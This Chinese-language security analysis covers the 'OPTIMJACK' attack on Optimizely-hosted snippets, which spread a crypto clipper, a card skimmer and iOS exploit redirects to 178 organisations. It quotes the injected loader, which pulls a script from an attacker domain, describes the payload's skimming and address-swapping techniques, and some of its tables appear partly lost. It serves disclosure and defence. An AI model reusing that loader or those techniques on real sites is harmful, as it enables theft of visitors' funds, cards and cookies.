178 家公司的网页同时开始偷钱包,代码来自它们自己信任的那个 CDN
- 2026-11-22 22:14:52
11 月 16 日凌晨 4 点 21 分,BBC 页面上那个一直存在的 Optimizely snippet 开始加载一个新域名。这个 snippet 从 cdn.optimizely.com 下发,用 Optimizely 自己的证书,HTTPS 全绿,浏览器不会拦,CSP 只要放行了这个主机就不会拦,代码审查也看不到它,因为它不在 BBC 的仓库里。
到当天晚上扫测结束,同样的东西出现在 1,611 个被检查的 snippet 里的 188 个,属于 178 个组织。名单里有 CNN、BBC、Zoom、Salesforce、GitLab、IKEA、HSBC、Equifax、Air France-KLM、Ledger、Peacock。按行业拆:32 家银行与金融、23 家科技与 SaaS、20 家零售、12 家流媒体、10 家新闻、9 家航空、7 家电信、6 家加密交易平台、6 家保险。Optimizely 自己的官网和登录页也在里面。
发现这件事的是 Report URI,一家做脚本监控的公司。它的产品本来就在客户页面上记录"你加载了哪些第三方脚本",所以它有一份现成的爬虫数据。它把能及时找到的 1,611 个 Optimizely snippet 逐个拉下来看内容,发现 188 个被塞了代码。
研究者把这轮活动叫 OPTIMJACK。
一、被改的只有一个字段
理解这件事的关键,是搞清楚 Optimizely Web Experimentation 的 snippet 到底是什么结构。
装了它的网站,每个页面都会加载一个形如 https://cdn.optimizely.com/js/6395285578973184.js 的脚本。这个脚本做三件事:装 Optimizely 自己的运行时代码、装客户配置的实验、以及执行一个叫 Project JavaScript 的字段。最后这个是客户自己在后台写的自定义代码,每页必跑,用来做实验之外的定制逻辑。
攻击者没有碰 CDN,没有碰 Optimizely 的运行时代码,也没有碰客户的服务器。他只往受害项目的 projectJS 字段里写了一段 loader。Zoom 那个 snippet 里被加进去的内容,Report URI 直接贴了出来:
"projectJS": function(){(function(){try{var s=document.createElement('script');s.src='https://1688360.cc/track.js';s.async=true;(document.head||document.documentElement).appendChild(s);}catch(e){}})();
十三行不到,一个动态 script 标签,指向攻击者的服务器。snippet 剩下的部分一个字节都没动。
这个改法的后果比听起来严重,因为:
第一,snippet 还是从原主机下发的。 内容来自 Optimizely 的项目配置,所以它依然由 cdn.optimizely.com 用官方证书提供。Report URI 特别强调这不是 CDN 缓存投毒,"Optimizely 的 CDN 只是如实提供了被喂给它的内容"。
第二,自托管 snippet 的客户一样中。 有些站点把 snippet 放在自己域名下,比如 opt.scheels.com/js/<id>.js、www.vodafone.com.au/js/<id>.js。内容源自同一个项目,所以照样带着 loader。这类客户会误以为自己"没有依赖第三方",实际上依赖的是后台那个配置。
第三,Optimizely 的 snippet 会自我更新。 客户一改设置,下发的脚本就变。响应头是 cache-control: max-age=15,也就是 15 秒后全网就会拿到新版本。同一个机制,既能用来做实验,也能用来在十几秒内把恶意代码铺到所有页面。
二、一天之内,载荷重建了 26 次
这轮攻击的节奏值得单独看,因为它属于一个不断加功能的过程,不是放完木马就不管。
UTC 时间线:
webshell[.]lol/get.js | |
1688360[.]cc,指向 136.113.106.136(Google Cloud us-central1) | |
track.js | |
1688360[.]cc/track.js | |
Last-Modified) | |
从首个注入到基本清完,暴露窗口大约 16 小时。载荷从 08:10 到 17:56 被重建了 26 次,体积从 28,877 字节长到 30,430 字节,只加不删。
有一个细节说明攻击者在这段时间里一直有写权限:Smartsheet 的 snippet 被清过一次,然后又以 base64 隐藏版重新感染。清理动作本身没把攻击者踢出去。
三、三种 loader,一种比一种难找
同一个地址,攻击者写了三个版本的加载器,分别针对三种不同的检测手段。
<script> 指向 1688360[.]cc/track.js | ||
atob() 解码 | 1688360 搜不到 | |
1688360 被拦时走 eval 回退 |
第三种最值得注意。它意味着"把 1688360.cc 加进黑名单"这种处置,在一部分站点上是完全无效的:载荷本身已经躺在 snippet 里了。
检测逻辑所以必须三条一起搜:1688360、atob(、以及 Project JavaScript 和每个实验的自定义代码里那些"不是你写的"脚本。只搜域名,会漏掉 V2;只搜自己的审计记录,会漏掉 V3。
四、载荷:一个偷钱包的、一个偷卡的、一个打 iPhone 的
track.js 最终版 30 KB,里面是三个互相独立的模块。
加密地址替换(clipper)。 硬编码了 8 条链的替换地址:ETH、TRX、BTC、TON、SOL、LTC、BCH、DOGE。它有两道门槛,这两道门槛决定它比一般的剪贴板劫持难发现得多:
一是链特定 checksum。只有当页面上那个地址通过所属链的校验时,才会被替换。所以替换后的地址是被钱包认可的合法地址,受害者粘进去不会报错。
二是支付语境词。只有当地址附近的文本里有 wallet、deposit、send 这类词时才触发。纯展示用的地址不动,误替换少,被发现的机会也少。
挂钩的入口有七类:页面文本节点、表单的 input 与 textarea 值、链接和图片的属性、copy 事件、Clipboard API、navigator.share、以及 fetch 与 XHR 的 URL 和请求体。
最狠的一手是覆写 Function.prototype.call 和 apply。这两个是 JavaScript 里所有函数调用的底层入口,改了它们等于在"任何字符串传进任何函数之前"设了一道闸。所以"我从页面上复制地址,粘到钱包里"这个动作也不安全。复制的时候是对的,粘的时候已经被换了。要核对只能在硬件钱包的屏幕上核。
截图与 Cookie 外带。 第一次在可见元素上完成替换之后,脚本会动态加载 html2canvas.min.js,把可视区域截成 JPEG,POST 到 /hit.php,带上页面 URL、最多 8,000 字符的 document.cookie、以及最多 20 个被替换掉的原始地址。每次页面加载只跑一次,而且只在真的发生过替换之后才跑。没碰钱包地址的访客不会被外带 Cookie。标了 HttpOnly 的 Cookie 读不到。
卡窃取。 13:43 加进来的模块,做法是包装 fetch 与 XHR、同时监听 form submit。它只上报四样东西都成立的数据:卡号过 Luhn 校验、有已知卡组织 BIN 前缀、有效期格式正确、CVV 是 3 或 4 位。外带用 navigator.sendBeacon 发到 /card.php,字段名是 n、e、c、u。
有个副作用对取证有用:每张卡会存进 sessionStorage,键名以 cc_ 开头,用来去重。所以查一台可能中招的机器,sessionStorage 里有没有 cc_* 就是判据。
它的边界也很清楚:不采集持卡人姓名和账单地址;读不到跨域支付 iframe 里的字段。这就是为什么"用支付商的 hosted fields"这条老建议在这里依然有效:Stripe 的托管字段、Adyen 的托管字段在另一个 origin 的 iframe 里,同源策略挡住了。
iOS 分支。 UA 是 iPhone、iPad 或 iPod 时,从 .icu 域名注入 boot.js。这个脚本读 iOS 版本,然后在隐藏 iframe 里开对应的链:iOS 13 到 17 走 Coruna,iOS 18 走 DarkSword,iOS 26 走一条当时只做设备指纹的独立链。从 17:13 到 17:57,攻击者还给所有来自 iOS 18.6 及更早的访问插了 Coruna 的 iframe,那些页面每 60 秒重载一次来重试利用。这是访客唯一可能自己察觉到的症状:页面莫名其妙在刷新。
Coruna 打的是 iOS 13.0 到 17.2.1,用 23 个漏洞;DarkSword 打 18.4 到 18.7,用 6 个。套件自己的注释标明 18.7.3 及以后、26.3 及以后已修。Cynet 的研究员用模拟 iPhone 的浏览器取到了第二阶段,他们的措辞很谨慎:这是"条件投递",不是"一台真机被拿下"。
钱的部分:截至 11-16 19:25 UTC,攻击者钱包收到约 7,040 美元,全部在九小时内。StepSecurity 对同一批地址的统计是约 6,600 美元。两个地址在注入开始之前就已经在用,所以这些转账里有多少真的来自这次受害者,链上分不出来。
五、为什么现成的防线一条都没拦住
这是这件事最该被记住的部分。逐条看:
代码审查。 站点自己的仓库是干净的。改动发生在托管的第三方文件里,你的 PR 流程看不到。
SRI(子资源完整性)。 理论上它能锁住脚本哈希,但实验平台的 snippet 会随配置变化,哈希本来就不稳定。给一个"每天变"的文件定哈希,等于每天发一次版。
同意管理平台。 很多站点把 Optimizely 挂在 OneTrust 之类的 CMP 后面,以为用户没同意就不跑。Report URI 确认了 GitLab 的链路是 cdn.cookielaw.org → cdn.optimizely.com/js/5113954737848320.js → 攻击者域名。CMP 控制的是"什么时候运行",不是"运行什么内容"。这条链上它一点用都没有。
CSP。 这条是真有用,但覆盖面很差。Report URI 另外爬了 256 个受影响组织的自有主机来评估 CSP:
connect-src 收紧) | |
关键的一条:把 cdn.optimizely.com 加进 script-src 白名单毫无帮助,恶意代码正是从那个可信主机来的。真正管用的是严格的 script-src。而最常见的两个放行口子是 'strict-dynamic' 和 'unsafe-eval'。前者信任"由受信脚本再加进来的脚本",正好是这个攻击的形状;后者让 V3 的内联回退副本能跑。HSBC 就是栽在 'unsafe-eval' 上。
域名黑名单。 只对 V1 有效。而且攻击者在被公开点名之后还在注册新域名(q1ls1ho9x7wsxlu[.]icu,11-16 23:44),按域名封是追不上的。
六、谁要做什么
站点方,今天就能做的四件事:
打开每个 Optimizely 项目的 Project JavaScript,以及每个实验的自定义代码,搜 1688360 和 atob(。前者找明文 loader,后者找 base64 版。这一步不需要工具,五分钟一个项目。
清点谁能写你的 Optimizely 账号:用户、API token、各种集成。然后全部换掉。这一点很重要,因为 Report URI 到现在也说不清攻击者是怎么拿到 178 个互不相关项目的写权限的。他们的原话是三种可能:Optimizely 系统被入侵、一个具备跨客户访问权限的凭据泄露、或者别的什么。然后补了一句:「That's for Optimizely to explain.」
如果你的表单自己收卡号,把 11 月 16 日那天在这个表单上提交的卡全部当泄露处理。用支付商托管 iframe 的站点可以排除。
把没有 HttpOnly 标记的 session token 和其他密钥当泄露,轮换掉。
访客侧:
iPhone 和 iPad 升到 iOS 18.7.3 或 26.3 以上。那天做过加密支付的,拿你本来要付的地址和实际付的地址对一遍。在受影响站点上刷过卡的,看账单。硬件钱包付款时在设备屏幕上看地址,不要核对"复制过来的文本"。
取证:
浏览器端留了几处痕迹:全局变量 window._k7、_cc、_qxc、_shot,sessionStorage 里 cc_ 开头的键,以及被改写过、不是原生的 Function.prototype.call 和 apply。第三项最可靠,因为正常页面不会动这两个。
网络侧:POST(text/plain)到 /hit.php,sendBeacon 到 /card.php 且字段是 n、e、c、u,data-channel-code 值为 02111110。
但注意 Cynet 的判断:cdn.optimizely.com 应该被当成合法投递主机,不要整体封,也不要因为某个新闻站中招就封那个站。封错了影响面比攻击本身还大。
七、边界:哪几件事现在说不准
一,规模是低估的。 1,611 个 snippet 是 Report URI 在自己爬虫数据里"及时找到"的那部分,188 只是其中被检出的个数,真实数量他们自己说「likely higher」。
二,卡泄露量无从统计。 7,040 美元是链上能看到的加密货币,卡号、Cookie、截图、iOS 设备这四样都没有对应的账本。Report URI 的 Scott Helme 说得很直白:他们没法知道在攻击被止住之前有多少张卡被窃、多少 Cookie 和截图被拿走、多少台 iOS 设备被感染。
三,写权限怎么来的没公布。 Optimizely 的状态页在 11-17 01:02 UTC 承认了"Experimentation 里的一个漏洞",说已阻断路径、移除代码、直接联系客户。它没说漏洞是什么、改了多少个项目、什么时候修的、攻击者现在还有没有访问。这四件事的答案是判断"我要不要做更深的取证"的前提,现在没有。
四,iOS 那条链的实际战果为零,但为零的原因不明。 没有报告说有任何一台真机被拿下。这可能是因为利用链在真机上不稳,也可能是因为暴露窗口只有 16 小时、够不上投递和利用的时间。这两种解释对应完全不同的风险判断,现在分不出来。
五,这轮不是第一次。 同一个 injector 在 9 月 17 日先出现在土耳其站点;11 月 13 日到 16 日,又经 Kissmetrics、StorifyMe、Minute Media 三个脚本注入同一个 injector,波及 securitybank.com、faz.net、smh.com.au、vidaxl、foxsports.com。也就是说,Optimizely 只是这一轮选中的入口。把 Optimizely 清干净,不代表下一次不会从另一个标签管理器进来。
八、收尾
接下来一周看两件事。
一是 Optimizely 会不会公布根因。如果它说的是"某个客户的凭据泄露",那这就是一起孤立的账号安全事件,178 这个数字属于"一个凭据能碰多少项目"的度量。如果它说的是平台侧漏洞,那所有把实验平台当可信脚本源的公司都得重新算一遍同源信任的边界。
二是这 178 家里有多少家会公开通知用户。Ledger 和 Equifax 此前都在类似的泄露名单里出现过,按 GDPR 和各国披露规则,11 月 16 日这个日期该出现在通知里。如果两周内只有个位数公司发通知,那说明这类"我没被黑,只是我的供应商被黑了"的定位,还在被当成免责理由用。
来源:
- Hijacked Optimizely Scripts Served Card Skimmer and iOS Exploit Kits to CNN, BBC and Zoom Visitors
— The Hacker News - World's largest brands infected with malware via Optimizely
— Report URI - OPTIMJACK: Optimizely-hosted scripts, crypto clipper, card skimmer
— StepSecurity - Website management platform Optimizely confirms hackers put malicious code into customer sites
— The Record - Optimizely status incident ftw0fh9wx43z
— Optimizely